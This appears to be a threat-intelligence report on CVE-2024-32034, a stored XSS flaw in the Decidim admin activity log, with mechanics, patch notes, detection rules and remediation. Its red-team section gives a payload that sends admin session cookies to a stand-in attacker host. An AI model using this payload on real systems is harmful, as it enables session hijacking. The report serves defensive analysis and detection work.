CVE-2024-32034

Executive Summary

CVE-2024-32034 is a stored Cross-Site Scripting (XSS) vulnerability affecting the Decidim open-source participatory democracy platform. The flaw resides in the admin panel's activity log functionality. When an admin performs an action that generates an admin activity log entry—such as assigning a valuator to a proposal—and the associated resource (e.g., proposal title) contains malicious XSS payloads, the payload is stored and executed in the context of the admin panel. This allows an attacker with admin privileges to inject arbitrary JavaScript, potentially leading to session hijacking, data exfiltration, or further compromise of the admin interface. The vulnerability has been addressed in Decidim versions 0.27.7 and 0.28.2. Users unable to upgrade can mitigate by redirecting /admin and /admin/logs to other admin pages.

Supply Chain & Package Security

Decidim is a Ruby on Rails application distributed as a Ruby gem. The vulnerability affects the core decidim-admin gem. Users should verify their Gemfile.lock for affected versions and update to the patched releases. No malicious packages or typosquatting have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 6.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Admin must view the activity log)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires admin privileges and user interaction, but the impact is limited to the admin panel context.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the admin activity log. The Decidim admin panel logs various actions, including assigning valuators to proposals. The log entry includes the resource name (e.g., proposal title). If an admin creates a proposal with a malicious title containing JavaScript, and then another admin assigns a valuator to that proposal, the malicious title is stored in the activity log without proper sanitization. When the admin views the activity log at /admin/logs, the payload executes.

Root Cause: Insufficient output encoding of resource names in the admin activity log view. The AdminLogPresenter or similar component fails to escape HTML entities before rendering.

Attack Flow:

1. Attacker (with admin privileges) creates a proposal with a title like <script>alert('XSS')</script>.
2. Attacker (or another admin) assigns a valuator to this proposal.
3. The action is logged, storing the malicious title.
4. Any admin viewing /admin/logs triggers the XSS payload.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

<%# app/views/decidim/admin/logs/index.html.erb %>
<%= activity_log_entry.resource.title %>

Patched Code (conceptual):

<%# app/views/decidim/admin/logs/index.html.erb %>
<%= h(activity_log_entry.resource.title) %>

The patch adds HTML escaping using the h helper (or escape_once), preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials on a Decidim instance < 0.27.7 or < 0.28.2.
• Ability to create proposals and assign valuators.

Exploitation Steps:

1. Log in as an admin.
2. Create a new proposal with the following title:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Navigate to the proposal and assign a valuator (any user).
4. Wait for another admin to view the activity log at /admin/logs, or view it yourself.
5. The payload executes, sending the admin's session cookie to the attacker's server.

Note: No public exploit code is available for this CVE.

Blue Team

Detection:

• Monitor admin activity logs for proposals containing HTML/JavaScript in titles.
• Alert on any admin user creating proposals with suspicious patterns (e.g., <script>, onerror=, javascript:).
• Review web server logs for requests to /admin/logs with unusual referrers or user agents.

Hunting:

• Search for proposals with titles containing < or > characters.
• Check for unexpected outbound connections from the Decidim server to unknown IPs.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests from Decidim server to attacker-controlled domains.
• Host: Proposals with titles containing <script>, onerror, onload, or other event handlers.
• Logs: Admin activity log entries with HTML tags in the resource name field.
• File: Modified decidim-admin gem files (if attacker gained code execution).

Detection Engineering

YARA Rule

rule Detect_Decidim_XSS_Proposal_Title {
    meta:
        description = "Detects proposals with XSS payloads in titles"
        author = "Valters IT"
        date = "2024-05-20"
        reference = "CVE-2024-32034"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Decidim Admin XSS Activity Log
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects creation of proposals with XSS payloads in Decidim
author: Valters IT
date: 2024/05/20
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32034
logsource:
    category: application
    product: decidim
detection:
    selection:
        event: "proposal_created"
        title|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in proposal titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-32034 Decidim Admin XSS Activity Log"; flow:to_server,established; content:"POST"; http_method; content:"/proposals"; http_uri; content:"title"; nocase; pcre:"/<script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade to Decidim 0.27.7, 0.28.2, or newer.
2. If upgrade is not possible, redirect /admin and /admin/logs to /admin/organization/edit using web server configuration (e.g., Nginx rewrite or Apache RedirectMatch).

Long-term:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enforce strict input validation and output encoding for all user-generated content.
• Conduct regular security audits of admin panel components.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division.